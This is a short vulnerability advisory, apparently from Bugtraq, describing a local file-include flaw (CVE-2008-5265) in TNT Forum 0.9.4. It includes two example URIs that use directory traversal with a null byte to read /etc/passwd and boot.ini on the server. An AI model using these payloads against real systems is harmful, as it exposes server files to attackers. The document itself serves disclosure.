TNT Forum 'index.php' Local File Include Vulnerability

Bugtraq ID:	29645
Class:	Input Validation Error
CVE:	CVE-2008-5265
Remote:	Yes
Local:	No
Published:	Jun 10 2008 12:00AM
Updated:	May 07 2015 05:28PM
Credit:	CWH Underground
Vulnerable:	TNT Forum TNT Forum 0.9.4
Not Vulnerable:

TNT Forum 'index.php' Local File Include Vulnerability

TNT Forum is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue allows remote attackers to view local files within the context of the webserver process.

TNT Forum 0.9.4 is vulnerable; other versions may also be affected.

TNT Forum 'index.php' Local File Include Vulnerability

Attackers can exploit this issue using a browser.

The following example URIs are available:

http://www.example.com/[tntforum_path]/index.php?modulo=../../../../../../../../boot.ini%00
http://www.example.com/tntforum/index.php?modulo=../../../../../../../../etc/passwd%00

TNT Forum 'index.php' Local File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

TNT Forum 'index.php' Local File Include Vulnerability

References:

• TNT Forum Sourceforge Page (TNT Forum)